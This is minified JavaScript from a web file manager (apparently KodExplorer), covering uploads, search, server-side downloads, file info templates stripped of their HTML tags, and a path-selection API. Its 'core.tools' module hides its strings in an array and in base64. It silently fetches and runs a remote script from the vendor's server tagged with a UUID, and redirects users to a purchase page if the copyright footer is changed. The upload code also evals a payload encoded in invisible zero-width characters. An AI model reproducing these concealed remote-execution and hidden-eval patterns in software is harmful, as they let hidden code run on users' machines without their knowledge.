';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/tpl/fileinfo/file_info.html",[],"\n {{if download_path}}\n
\n
{{LNG.download_address}}:
\n
\n
\n
\n {{LNG.open}} \n \n
\n
\n
\n
\n
\n {{/if}}\n\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n\n {{if file_md5}}\n
\n
MD5:
\n
{{file_md5}}
\n
\n
\n {{/if}}\n\n {{if image_size}}\n
\n
{{LNG.image_size}}:
\n
{{image_size.width}} × {{image_size.height}}
\n
\n
\n {{/if}}\n\n
\n\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n \n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info.html",[],"\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n
\n
{{LNG.contain}}:
\n
{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n \n
\n {{if ctime}}\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n {{/if}}\n\n {{if mtime}}\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n {{/if}}\n\n {{if atime}}\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n {{/if}}\n\n {{if mode}}\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n {{/if}}\n
\n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+" ");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+" "+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e
-}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,i.mtime)+" ";r+=''+core.fileSize(i.size)+" 